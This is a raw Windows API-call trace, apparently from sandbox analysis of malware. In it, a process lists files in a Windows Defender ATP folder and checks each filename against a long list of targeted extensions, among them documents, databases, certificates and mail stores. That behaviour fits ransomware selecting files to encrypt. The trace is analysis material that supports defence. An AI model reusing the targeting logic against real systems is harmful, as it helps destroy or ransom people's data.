	[0180.407] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".csv") returned 4
	[0180.407] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".cub") returned 4
	[0180.407] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".dae") returned 4
	[0180.407] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".dat") returned 4
	[0180.407] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".db") returned 3
	[0180.407] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0180.407] lstrlenW (lpString=".dbf") returned 4
	[0180.407] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".dbx") returned 4
	[0180.407] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".dc3") returned 4
	[0180.408] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dcm") returned 4
	[0180.408] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dcr") returned 4
	[0180.408] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".der") returned 4
	[0180.408] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dib") returned 4
	[0180.408] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dic") returned 4
	[0180.408] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dif") returned 4
	[0180.408] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".divx") returned 5
	[0180.408] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0180.408] lstrlenW (lpString=".djvu") returned 5
	[0180.408] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0180.408] lstrlenW (lpString=".dng") returned 4
	[0180.408] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".doc") returned 4
	[0180.408] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".docm") returned 5
	[0180.408] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0180.408] lstrlenW (lpString=".docx") returned 5
	[0180.408] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0180.408] lstrlenW (lpString=".dot") returned 4
	[0180.408] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0180.408] lstrlenW (lpString=".dotm") returned 5
	[0180.408] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0180.409] lstrlenW (lpString=".dotx") returned 5
	[0180.409] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0180.409] lstrlenW (lpString=".dpx") returned 4
	[0180.409] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dqy") returned 4
	[0180.409] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dsn") returned 4
	[0180.409] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dt") returned 3
	[0180.409] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0180.409] lstrlenW (lpString=".dtd") returned 4
	[0180.409] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dwg") returned 4
	[0180.409] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dwt") returned 4
	[0180.409] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".dx") returned 3
	[0180.409] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0180.409] lstrlenW (lpString=".dxf") returned 4
	[0180.409] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".edml") returned 5
	[0180.409] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0180.409] lstrlenW (lpString=".efd") returned 4
	[0180.409] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".elf") returned 4
	[0180.409] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".emf") returned 4
	[0180.409] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0180.409] lstrlenW (lpString=".emz") returned 4
	[0180.409] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".epf") returned 4
	[0180.410] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".eps") returned 4
	[0180.410] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".epsf") returned 5
	[0180.410] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0180.410] lstrlenW (lpString=".epsp") returned 5
	[0180.410] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0180.410] lstrlenW (lpString=".erf") returned 4
	[0180.410] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".exr") returned 4
	[0180.410] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".f4v") returned 4
	[0180.410] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".fido") returned 5
	[0180.410] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0180.410] lstrlenW (lpString=".flm") returned 4
	[0180.410] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".flv") returned 4
	[0180.410] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".frm") returned 4
	[0180.410] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".fxg") returned 4
	[0180.410] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".geo") returned 4
	[0180.410] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".gif") returned 4
	[0180.410] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0180.410] lstrlenW (lpString=".grs") returned 4
	[0180.410] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".gz") returned 3
	[0180.411] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0180.411] lstrlenW (lpString=".h") returned 2
	[0180.411] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0180.411] lstrlenW (lpString=".hdr") returned 4
	[0180.411] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".hpp") returned 4
	[0180.411] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".hta") returned 4
	[0180.411] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".htc") returned 4
	[0180.411] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".htm") returned 4
	[0180.411] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".html") returned 5
	[0180.411] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0180.411] lstrlenW (lpString=".icb") returned 4
	[0180.411] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".ics") returned 4
	[0180.411] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".iff") returned 4
	[0180.411] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".inc") returned 4
	[0180.411] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0180.411] lstrlenW (lpString=".indd") returned 5
	[0180.411] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0180.412] lstrlenW (lpString=".ini") returned 4
	[0180.412] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0180.412] lstrlenW (lpString=".iqy") returned 4
	[0180.412] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0180.412] lstrlenW (lpString=".j2c") returned 4
	[0180.412] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0180.412] lstrlenW (lpString=".j2k") returned 4
	[0180.412] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0180.412] lstrlenW (lpString=".java") returned 5
	[0180.412] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0180.416] lstrlenW (lpString=".jp2") returned 4
	[0180.416] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".jpc") returned 4
	[0180.416] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".jpe") returned 4
	[0180.416] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".jpeg") returned 5
	[0180.416] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0180.416] lstrlenW (lpString=".jpf") returned 4
	[0180.416] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".jpg") returned 4
	[0180.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".jpx") returned 4
	[0180.416] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".js") returned 3
	[0180.416] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0180.416] lstrlenW (lpString=".jsf") returned 4
	[0180.416] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0180.416] lstrlenW (lpString=".json") returned 5
	[0180.416] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0180.417] lstrlenW (lpString=".jsp") returned 4
	[0180.417] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".kdc") returned 4
	[0180.417] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".kmz") returned 4
	[0180.417] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".kwm") returned 4
	[0180.417] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".lasso") returned 6
	[0180.417] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0180.417] lstrlenW (lpString=".lbi") returned 4
	[0180.417] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".lgf") returned 4
	[0180.417] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".lgp") returned 4
	[0180.417] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".log") returned 4
	[0180.417] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".m1v") returned 4
	[0180.417] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".m4a") returned 4
	[0180.417] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".m4v") returned 4
	[0180.417] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0180.417] lstrlenW (lpString=".max") returned 4
	[0180.417] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".md") returned 3
	[0180.418] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0180.418] lstrlenW (lpString=".mda") returned 4
	[0180.418] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mdb") returned 4
	[0180.418] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mde") returned 4
	[0180.418] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mdf") returned 4
	[0180.418] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mdw") returned 4
	[0180.418] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mef") returned 4
	[0180.418] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mft") returned 4
	[0180.418] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mfw") returned 4
	[0180.418] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mht") returned 4
	[0180.418] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0180.418] lstrlenW (lpString=".mhtml") returned 6
	[0180.418] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0180.418] lstrlenW (lpString=".mka") returned 4
	[0180.419] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mkidx") returned 6
	[0180.419] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0180.419] lstrlenW (lpString=".mkv") returned 4
	[0180.419] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mos") returned 4
	[0180.419] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mov") returned 4
	[0180.419] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mp3") returned 4
	[0180.419] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mp4") returned 4
	[0180.419] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mpeg") returned 5
	[0180.419] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0180.419] lstrlenW (lpString=".mpg") returned 4
	[0180.419] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mpv") returned 4
	[0180.419] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0180.419] lstrlenW (lpString=".mrw") returned 4
	[0180.419] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0180.420] lstrlenW (lpString=".msg") returned 4
	[0180.420] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0180.420] lstrlenW (lpString=".mxl") returned 4
	[0180.420] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".myd") returned 4
	[0180.420] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".myi") returned 4
	[0180.420] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".nef") returned 4
	[0180.420] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".nrw") returned 4
	[0180.420] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".obj") returned 4
	[0180.420] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".odb") returned 4
	[0180.420] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".odc") returned 4
	[0180.420] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".odm") returned 4
	[0180.420] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".odp") returned 4
	[0180.420] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0180.420] lstrlenW (lpString=".ods") returned 4
	[0180.421] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".oft") returned 4
	[0180.421] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".one") returned 4
	[0180.421] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".onepkg") returned 7
	[0180.421] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0180.421] lstrlenW (lpString=".onetoc2") returned 8
	[0180.421] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0180.421] lstrlenW (lpString=".opt") returned 4
	[0180.421] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".oqy") returned 4
	[0180.421] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".orf") returned 4
	[0180.421] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0180.421] lstrlenW (lpString=".p12") returned 4
	[0180.421] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".p7b") returned 4
	[0180.422] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".p7c") returned 4
	[0180.422] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pam") returned 4
	[0180.422] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pbm") returned 4
	[0180.422] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pct") returned 4
	[0180.422] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pcx") returned 4
	[0180.422] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pdd") returned 4
	[0180.422] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pdf") returned 4
	[0180.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pdp") returned 4
	[0180.422] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pef") returned 4
	[0180.422] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pem") returned 4
	[0180.422] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0180.422] lstrlenW (lpString=".pff") returned 4
	[0180.423] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0180.423] lstrlenW (lpString=".pfm") returned 4
	[0180.423] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0180.423] lstrlenW (lpString=".pfx") returned 4
	[0180.423] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0180.423] lstrlenW (lpString=".pgm") returned 4
	[0180.423] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0180.423] lstrlenW (lpString=".php") returned 4
	[0180.423] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0180.423] lstrlenW (lpString=".php3") returned 5
	[0180.423] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0180.423] lstrlenW (lpString=".php4") returned 5
	[0180.423] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0180.423] lstrlenW (lpString=".php5") returned 5
	[0180.423] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0180.423] lstrlenW (lpString=".phtml") returned 6
	[0180.423] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0180.423] lstrlenW (lpString=".pict") returned 5
	[0180.423] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0180.423] lstrlenW (lpString=".pl") returned 3
	[0180.423] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0180.424] lstrlenW (lpString=".pls") returned 4
	[0180.424] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".pm") returned 3
	[0180.424] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0180.424] lstrlenW (lpString=".png") returned 4
	[0180.424] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".pnm") returned 4
	[0180.424] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".pot") returned 4
	[0180.424] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".potm") returned 5
	[0180.424] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0180.424] lstrlenW (lpString=".potx") returned 5
	[0180.424] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0180.424] lstrlenW (lpString=".ppa") returned 4
	[0180.424] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".ppam") returned 5
	[0180.424] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0180.424] lstrlenW (lpString=".ppm") returned 4
	[0180.424] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".pps") returned 4
	[0180.424] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".ppsm") returned 5
	[0180.424] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0180.424] lstrlenW (lpString=".ppt") returned 4
	[0180.424] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0180.424] lstrlenW (lpString=".pptm") returned 5
	[0180.424] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0180.425] lstrlenW (lpString=".pptx") returned 5
	[0180.425] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0180.425] lstrlenW (lpString=".prn") returned 4
	[0180.425] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".ps") returned 3
	[0180.425] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0180.425] lstrlenW (lpString=".psb") returned 4
	[0180.425] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".psd") returned 4
	[0180.425] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".pst") returned 4
	[0180.425] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".ptx") returned 4
	[0180.425] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".pub") returned 4
	[0180.425] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".pwm") returned 4
	[0180.425] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0180.425] lstrlenW (lpString=".pxr") returned 4
	[0180.425] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0180.425] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0
	[0180.426] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.426] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0180.426] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0290920, ftCreationTime.dwHighDateTime=0x1d5cd6e, ftLastAccessTime.dwLowDateTime=0xfe93c0e0, ftLastAccessTime.dwHighDateTime=0x1d5bfcb, ftLastWriteTime.dwLowDateTime=0xfe93c0e0, ftLastWriteTime.dwHighDateTime=0x1d5bfcb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="rc remember.exe", cAlternateFileName="RCREME~1.EXE")) returned 1
	[0180.426] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1
	[0180.426] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1
	[0180.426] lstrlenW (lpString="SenseCncPS.dll") returned 14
	[0180.426] lstrlenW (lpString=".1cd") returned 4
	[0180.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".3ds") returned 4
	[0180.427] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".3fr") returned 4
	[0180.427] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".3g2") returned 4
	[0180.427] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".3gp") returned 4
	[0180.427] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".7z") returned 3
	[0180.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.427] lstrlenW (lpString=".accda") returned 6
	[0180.427] lstrcmpiW (lpString1=".accda", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".accdb") returned 6
	[0180.427] lstrcmpiW (lpString1=".accdb", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".accdc") returned 6
	[0180.427] lstrcmpiW (lpString1=".accdc", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".accde") returned 6
	[0180.427] lstrcmpiW (lpString1=".accde", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".accdt") returned 6
	[0180.427] lstrcmpiW (lpString1=".accdt", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".accdw") returned 6
	[0180.427] lstrcmpiW (lpString1=".accdw", lpString2="PS.dll") returned -1
	[0180.427] lstrlenW (lpString=".adb") returned 4
	[0180.427] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".adp") returned 4
	[0180.427] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0180.427] lstrlenW (lpString=".ai") returned 3
	[0180.427] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0180.427] lstrlenW (lpString=".ai3") returned 4
